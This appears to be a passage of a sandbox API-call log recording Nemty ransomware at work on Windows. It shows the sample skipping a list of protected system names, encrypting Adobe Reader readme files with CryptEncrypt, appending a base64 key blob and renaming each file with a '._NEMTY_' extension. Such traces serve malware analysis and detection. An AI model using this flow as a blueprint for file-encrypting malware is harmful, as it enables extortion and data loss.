pszString="+q5Pjq7cRzIKE71CLRnIUfCan2J8UUkhA/D4WzAG7wmLHsTAvN1bX+i/13JMVBKl\r\nirMWy2ZkAR3ighuBaZ3JsfKfi0Lda4QhyL1ySkeNbbV6lcDzFZ+BSsvyzvvqOe6+\r\n5TQInHne3PQZ/N4M95O1uk59Qd+ZhaKgkzGKcWP475/DsIRYyYbgYGGnHTEijCv6\r\nd56XsihefQPCXmzq7Q3N/hSCPsPePcuTOtloYMIvatgulNzEZgR3bli0jOY+pqGQ\r\nvhc57/VaZcQAGv+Qd/IeduDBd7QVNTBCh3Xf8UZ0T9phM7z/g3xK7PcEkpNGS87u\r\nLMMphqHQ5RA2+VtBT2LsGQ==\r\n", pcchString=0x653ef9c) returned 1 [0194.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0194.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0194.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0194.000] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0194.001] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=16241) returned 1 [0194.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3f70) returned 0x6352c48 [0194.001] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.001] ReadFile (in: hFile=0x1e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3f70, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653f1e4*=0x3f70, lpOverlapped=0x0) returned 1 [0194.004] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.004] WriteFile (in: hFile=0x1e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3f70, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653f1dc*=0x3f70, lpOverlapped=0x0) returned 1 [0194.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.004] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=16241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f71 [0194.004] WriteFile (in: hFile=0x1e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0194.005] CloseHandle (hObject=0x1e8) returned 1 [0194.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0194.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0194.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0194.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0194.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.005] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm._nemty_kgobjgd_")) returned 1 [0194.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0194.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0194.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0194.006] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3fa1, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ReadMeCT.htm", cAlternateFileName="")) returned 1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2=".") returned 1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="..") returned 1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="...") returned 1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="windows") returned -1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="$RECYCLE.BIN") returned 1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="rsa") returned -1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="NTDETECT.COM") returned 1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="ntldr") returned 1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="MSDOS.SYS") returned 1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="IO.SYS") returned 1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="boot.ini") returned 1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="boot.ini") returned 1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="AUTOEXEC.BAT") returned 1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="ntuser.dat") returned 1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="desktop.ini") returned 1 [0194.006] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="CONFIG.SYS") returned 1 [0194.007] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="RECYCLER") returned -1 [0194.007] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="BOOTSECT.BAK") returned 1 [0194.007] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="bootmgr") returned 1 [0194.007] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="programdata") returned 1 [0194.007] lstrcmpiW (lpString1="ReadMeCT.htm", lpString2="appdata") returned 1 [0194.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCT.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCT.htm", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCT.htm", lpUsedDefaultChar=0x0) returned 12 [0194.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCT.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCT.htm", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCT.htm", lpUsedDefaultChar=0x0) returned 12 [0194.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCT.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCT.htm", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCT.htm", lpUsedDefaultChar=0x0) returned 12 [0194.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCT.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCT.htm", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCT.htm", lpUsedDefaultChar=0x0) returned 12 [0194.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0194.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0194.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0194.007] Sleep (dwMilliseconds=0x5) [0194.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x2749f190, dwHighDateTime=0x1d561e8)) [0194.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x2749f190, dwHighDateTime=0x1d561e8)) [0194.015] GetLastError () returned 0x0 [0194.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.015] GetLastError () returned 0x0 [0194.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.016] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0194.016] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0194.016] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0194.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0194.016] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653ef9c | out: pszString="HDNg68Mshcee2SnBFDxFaRQjqudA/6q1RdGV03lLRUadDe4unJoZ0JVp7h0cU4ns\r\nCIBgRHp2+usSBxq8wTYm2DeRrsw2EbfoD5kXaUUl1Lo3meoNqOHHFFJmlCr+Xa8W\r\njFh4U2K/5UlRuaJDkGFKX0jeCnaKJdmxcb/aHgHCgEWR7V4uprJRFnuNTjqvVcpU\r\nAbhGK3jkgQGFdEq30nH9BtsUkvyzN45pUCw+AKBlXRNxoPEfp36W6VNOF87ucMRQ\r\n2a7XSVq1w+7qSrKB0qnNcp5ZLu9En85Ziqvp8nSUbKY2smvXFl5hVooSBr99PwbL\r\np+1OiuLFjjxGBT/p2XmiEA==\r\n", pcchString=0x653ef9c) returned 1 [0194.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0194.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0194.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0194.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0194.017] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=16289) returned 1 [0194.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3fa0) returned 0x6352c48 [0194.017] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.017] ReadFile (in: hFile=0x1e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3fa0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653f1e4*=0x3fa0, lpOverlapped=0x0) returned 1 [0194.019] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.019] WriteFile (in: hFile=0x1e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3fa0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653f1dc*=0x3fa0, lpOverlapped=0x0) returned 1 [0194.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.019] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=16289, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3fa1 [0194.019] WriteFile (in: hFile=0x1e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0194.019] CloseHandle (hObject=0x1e8) returned 1 [0194.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0194.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0194.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0194.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0194.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.020] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm._nemty_kgobjgd_")) returned 1 [0194.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0194.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0194.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0194.021] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80815880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4623, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ReadMeCZE.htm", cAlternateFileName="REE3F7~1.HTM")) returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2=".") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="..") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="...") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="windows") returned -1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="$RECYCLE.BIN") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="rsa") returned -1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="NTDETECT.COM") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="ntldr") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="MSDOS.SYS") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="IO.SYS") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="boot.ini") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="boot.ini") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="AUTOEXEC.BAT") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="ntuser.dat") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="desktop.ini") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="CONFIG.SYS") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="RECYCLER") returned -1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="BOOTSECT.BAK") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="bootmgr") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="programdata") returned 1 [0194.021] lstrcmpiW (lpString1="ReadMeCZE.htm", lpString2="appdata") returned 1 [0194.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCZE.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCZE.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCZE.htm", lpUsedDefaultChar=0x0) returned 13 [0194.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCZE.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCZE.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCZE.htm", lpUsedDefaultChar=0x0) returned 13 [0194.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCZE.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCZE.htm", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCZE.htm", lpUsedDefaultChar=0x0) returned 13 [0194.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCZE.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCZE.htm", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCZE.htm", lpUsedDefaultChar=0x0) returned 13 [0194.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0194.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0194.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0194.022] Sleep (dwMilliseconds=0x5) [0194.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x274c52f0, dwHighDateTime=0x1d561e8)) [0194.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x274c52f0, dwHighDateTime=0x1d561e8)) [0194.031] GetLastError () returned 0x0 [0194.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.031] GetLastError () returned 0x0 [0194.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: 